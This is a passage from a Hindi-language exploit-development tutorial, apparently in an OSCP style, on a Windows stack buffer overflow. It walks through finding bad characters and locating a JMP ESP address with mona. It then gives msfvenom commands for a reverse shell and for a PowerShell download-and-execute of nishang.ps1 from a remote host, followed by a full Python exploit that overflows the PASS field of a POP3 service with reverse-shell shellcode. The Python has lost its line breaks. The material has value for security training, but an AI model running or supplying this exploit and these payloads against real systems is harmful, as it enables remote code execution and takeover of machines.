बैडचार्स 0x01 से शुरू होते हैं क्योंकि 0x00 लगभग हमेशा बैड होता है।
इस नए बफर के साथ एक्सप्लॉइट को बार-बार निष्पादित करें जिसमें वे वर्ण हटाए जाते हैं जो अनुपयोगी पाए जाते हैं:।
उदाहरण के लिए:
इस मामले में आप देख सकते हैं कि आपको वर्ण 0x0A का उपयोग नहीं करना चाहिए (क्योंकि कोई भी चीज़ मेमोरी में सहेजी नहीं जाती है क्योंकि वर्ण 0x09 है)।
इस मामले में आप देख सकते हैं कि वर्ण 0x0D को टाल दिया गया है:
एक JMP ESP को एक रिटर्न पता के रूप में खोजें
उपयोग करते हुए:
!mona modules #Get protections, look for all false except last one (Dll of SO)
आपको मेमोरी मैप्स की सूची बनानी होगी। कुछ DLL खोजें जिसमें:
Rebase: False
SafeSEH: False
ASLR: False
NXCompat: False
OS Dll: True
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स ढूंढने होंगे, इसके लिए निम्नलिखित को चलाएं:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
फिर, यदि किसी पते को पाया जाता है, तो उसमें से कोई चुनें जिसमें कोई बुराई न हो:
इस मामले में, उदाहरण के लिए: _0x5f4a358f_
शैलकोड बनाएं
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड तक पहुंचा गया है), तो अन्य शेलकोड बनाने का प्रयास करें (msfvenom के साथ समान पैरामीटर्स के लिए विभिन्न शेलकोड बनाएं)।
शेलकोड की शुरुआत में कुछ NOPS जोड़ें और इसे उपयोग करें और वापसी पता JMP ESP के लिए, और एक्सप्लॉइट पूरा करें:
#!/usr/bin/pythonimportsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ip='10.11.25.153'port=110shellcode= ("\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b""\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4""\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6""\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4""\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36""\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9""\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19""\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef""\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78""\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85""\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4""\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35""\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71""\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8""\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf""\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a""\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5""\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25""\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4""\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1""\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a""\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d""\x2d\xb8\x63\xe2\x4e\xe9")buffer='A'*2606+'\x8f\x35\x4a\x5f'+"\x90"*8+shellcodetry:print"\nLaunching exploit..."s.connect((ip,port))data=s.recv(1024)s.send('USER username'+'\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')print"\nFinished!."except:print"Could not connect to "+ip+":"+port
ऐसे शेलकोड होते हैं जो खुद को अधिलेखित कर देते हैं, इसलिए हमेशा शेलकोड से पहले कुछ NOPs जोड़ना महत्वपूर्ण है